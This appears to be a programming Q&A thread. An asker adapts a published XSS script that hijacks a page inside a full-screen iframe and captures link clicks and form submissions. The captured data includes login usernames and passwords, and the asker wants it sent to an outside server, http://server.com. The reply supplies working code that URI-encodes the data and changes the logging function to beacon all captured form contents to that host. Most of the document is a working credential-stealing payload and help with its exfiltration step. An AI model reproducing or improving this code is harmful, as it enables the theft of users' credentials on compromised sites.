Javascript variable's output is empty when sent via HTTP Request

Question

I have the following code (NOTE: The code isn't mine, I just want to modify it, here is the source: https://rileykidd.com/2013/06/06/the-xss-who-watched-me/ ). Here is the code from the website:

(function() {
    var d = new Date();
    function log(m){
        var s = d;                                                      
        for(i in m){ s += "\n" + i + ":" + m[i] + " ";  }           
        console.log(s);
    }
    function spoof(k){
        window.history.pushState({}, "", k);                            
    }
    function hook(){
        $('#xss').contents().find('a').bind('click', function() {       
            log({"Event":"Link", "Current":document.URL, "Target":$(this).attr('href')});
            spoof($(this).attr('href'));
        });
        $('#xss').contents().find('form').bind('submit', function() {   
            var l = {"Event":"Form", "Current":document.URL, "Target":$(this).attr('action')};
            $.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
            log(l);
            spoof($(this).attr('action'));
        });
    }
    function poison() {
        if (self == top){                                           
            $('body').children().hide();                        
            log({"Hooked":document.URL});
            $('<iframe id="xss">').attr('src', document.URL).css({
                "position":"fixed", "top":"0px", "left":"0px", "bottom":"0px", "right":"0px", "width":"100%", "height":"100%", "border":"none", "margin":"0", "padding":"0", "overflow":"hidden", "z-index":"999999"
            }).appendTo('body').load(function(){                
                hook();                                             
            });
        }
    }
    function poll() {
        if (typeof(jQuery) !== 'undefined') {
            clearInterval(interval);
            poison();
        }
    }
        if (typeof(jQuery) == 'undefined') {    
                var s = document.createElement('script');
                s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'code.jquery.com/jquery-latest.min.js';
                document.head.appendChild(s);
                var interval = setInterval(poll, 50); 
        } else {
                poison();
        }
})();

My goal is to modify this code so that I can send a request to http://server.com the following variables: document.URL and $(this).attr('action') , so I added the following code instead of log(l) (line 19):

new Image().src = "http://server.com/file.php?data=" + document.URL + $(this).attr('action');

The problem is whenever I want to make a HTTP Request including this variable $(this).attr('action') , the output of the second variable I get in the server is empty. document.URL works just fine, however the second variable is what I am facing problem with. When I test the variable output into the browser it works perfectly (when executing log(l) ), I get:

Current:http://somewebsite.com
Target:/login 
utf8:✓ 
authenticity_token:random
back_url:http://somewebsite.com
username:something@email.com 
password:my_secured_password 

Now my goal is to send this output into the server.

Answer 1

You probably need to URI-encode your query params:

 new Image().src = ( 'http://server.com/file.php' + '?url=' + encodeURIComponent(document.URL) + '&action=' + encodeURIComponent($(this).attr('action')) );

If you need to send log output to the server, modify your function log :

 function log(m) { var s = d; for (i in m) { s += "\\n" + i + ":" + m[i] + " "; } console.log(s); new Image().src = 'http://server.com/file.php?data=' + encodeURIComponent(s); }